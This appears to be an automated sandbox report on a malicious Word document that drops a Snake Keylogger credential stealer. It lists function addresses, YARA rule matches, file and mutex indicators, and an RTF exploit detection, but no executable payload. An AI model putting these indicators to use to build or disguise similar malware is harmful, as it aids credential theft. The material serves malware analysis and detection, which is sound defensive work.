Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_002031B1	29_2_002031B1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00209188	29_2_00209188
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00208AA8	29_2_00208AA8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_002043C8	29_2_002043C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_002083CC	29_2_002083CC
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00206C80	29_2_00206C80
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00203483	29_2_00203483
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00205D00	29_2_00205D00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00209D10	29_2_00209D10
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00203E28	29_2_00203E28
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00204699	29_2_00204699
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00207758	29_2_00207758
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020E008	29_2_0020E008
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020F009	29_2_0020F009
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020D881	29_2_0020D881
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020D890	29_2_0020D890
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020F939	29_2_0020F939
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020EB70	29_2_0020EB70
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_0020F4A1	29_2_0020F4A1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9F078	29_2_00A9F078
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A92500	29_2_00A92500
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98748	29_2_00A98748
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9C0A8	29_2_00A9C0A8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A980A0	29_2_00A980A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9A8B0	29_2_00A9A8B0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9D880	29_2_00A9D880
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9D890	29_2_00A9D890
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98090	29_2_00A98090
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A944E8	29_2_00A944E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A990CB	29_2_00A990CB
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9A8C0	29_2_00A9A8C0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A904D8	29_2_00A904D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A990D8	29_2_00A990D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A944D8	29_2_00A944D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A97C08	29_2_00A97C08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98C10	29_2_00A98C10
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A92068	29_2_00A92068
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96068	29_2_00A96068
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9F067	29_2_00A9F067
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96078	29_2_00A96078
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A90040	29_2_00A90040
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94040	29_2_00A94040
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94050	29_2_00A94050
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A969A8	29_2_00A969A8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A995A0	29_2_00A995A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9AD88	29_2_00A9AD88
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9958F	29_2_00A9958F
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94980	29_2_00A94980
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A92998	29_2_00A92998
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9699B	29_2_00A9699B
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9F9F7	29_2_00A9F9F7
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9F530	29_2_00A9F530
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96503	29_2_00A96503
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96510	29_2_00A96510
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A90970	29_2_00A90970
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9C570	29_2_00A9C570
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94970	29_2_00A94970
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9AD77	29_2_00A9AD77
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9DD48	29_2_00A9DD48
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9F540	29_2_00A9F540
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9DD58	29_2_00A9DD58
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A912A0	29_2_00A912A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A952A0	29_2_00A952A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A932BB	29_2_00A932BB
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A952B0	29_2_00A952B0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A91291	29_2_00A91291
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9E6E8	29_2_00A9E6E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9E6E0	29_2_00A9E6E0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A932C8	29_2_00A932C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A972C8	29_2_00A972C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A972D8	29_2_00A972D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9E220	29_2_00A9E220
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9CA38	29_2_00A9CA38
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A92E30	29_2_00A92E30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96E30	29_2_00A96E30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98633	29_2_00A98633
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9CA36	29_2_00A9CA36
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A90E08	29_2_00A90E08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9FA08	29_2_00A9FA08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94E08	29_2_00A94E08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A94E18	29_2_00A94E18
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9E211	29_2_00A9E211
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A99A68	29_2_00A99A68
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A99A60	29_2_00A99A60
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98665	29_2_00A98665
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A96E40	29_2_00A96E40
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9B240	29_2_00A9B240
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98651	29_2_00A98651
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9B250	29_2_00A9B250
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9EBA1	29_2_00A9EBA1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9D3B8	29_2_00A9D3B8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9EBB0	29_2_00A9EBB0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A93BE9	29_2_00A93BE9
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9A3E8	29_2_00A9A3E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A95BE0	29_2_00A95BE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9BBE0	29_2_00A9BBE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A93BF8	29_2_00A93BF8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9A3F8	29_2_00A9A3F8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A97BF8	29_2_00A97BF8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A98BFF	29_2_00A98BFF
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9D3C8	29_2_00A9D3C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A91BC1	29_2_00A91BC1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A95BD1	29_2_00A95BD1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A91BD0	29_2_00A91BD0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A99F20	29_2_00A99F20
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A91738	29_2_00A91738
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A95738	29_2_00A95738
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A99F30	29_2_00A99F30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9CF00	29_2_00A9CF00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9B707	29_2_00A9B707
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A9B718	29_2_00A9B718
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A97761	29_2_00A97761
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A93760	29_2_00A93760
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A97770	29_2_00A97770
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A95748	29_2_00A95748
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_00A93750	29_2_00A93750
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E2C00	29_2_020E2C00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E5E00	29_2_020E5E00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E9000	29_2_020E9000
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E7A10	29_2_020E7A10
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E1620	29_2_020E1620
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E4820	29_2_020E4820
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E7A20	29_2_020E7A20
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E9630	29_2_020E9630
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E0040	29_2_020E0040
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E3240	29_2_020E3240
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E6440	29_2_020E6440
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E9640	29_2_020E9640
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E1C60	29_2_020E1C60
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E4E60	29_2_020E4E60
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E8060	29_2_020E8060
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E3870	29_2_020E3870
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E0680	29_2_020E0680
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E3880	29_2_020E3880
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E6A80	29_2_020E6A80
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E22A0	29_2_020E22A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E54A0	29_2_020E54A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E86A0	29_2_020E86A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E0CC0	29_2_020E0CC0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E3EC0	29_2_020E3EC0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E70C0	29_2_020E70C0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E8CD0	29_2_020E8CD0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E28E0	29_2_020E28E0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E5AE0	29_2_020E5AE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E8CE0	29_2_020E8CE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E1300	29_2_020E1300
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E4500	29_2_020E4500
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E7700	29_2_020E7700
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E2F20	29_2_020E2F20
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E6120	29_2_020E6120
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E9320	29_2_020E9320
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E1940	29_2_020E1940
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E4B40	29_2_020E4B40
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E7D40	29_2_020E7D40
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E3550	29_2_020E3550
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 29_2_020E0360	29_2_020E0360

Source: tmpD135.tmp.10.dr

OLE indicator, VBA macros: true

Source: ~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: tmpD135.tmp.10.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: swagodi[1].scr.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: swagodi78811.scr.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gRpkBp.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.SetAccessControl
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.AddAccessRule
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.SetAccessControl
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.AddAccessRule
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.SetAccessControl
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	Security API names: _0020.AddAccessRule
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, FUjasOohxIjsRf91GS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, FUjasOohxIjsRf91GS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, FUjasOohxIjsRf91GS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: taskeng.exe, 00000015.00000002.663024979.0000000001DAB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: .VBp/

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@25/31@68/10

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$der072724.docx.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Mutant created: \Sessions\1\BaseNamedObjects\eHfEjmAxzKFnFihZXpoZa

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR7C40.tmp

Jump to behavior

Source: order072724.docx.doc

OLE indicator, Word Document stream: true

Source: ~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......1B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......=B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................PB.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................\B.........................s............................................	Jump to behavior
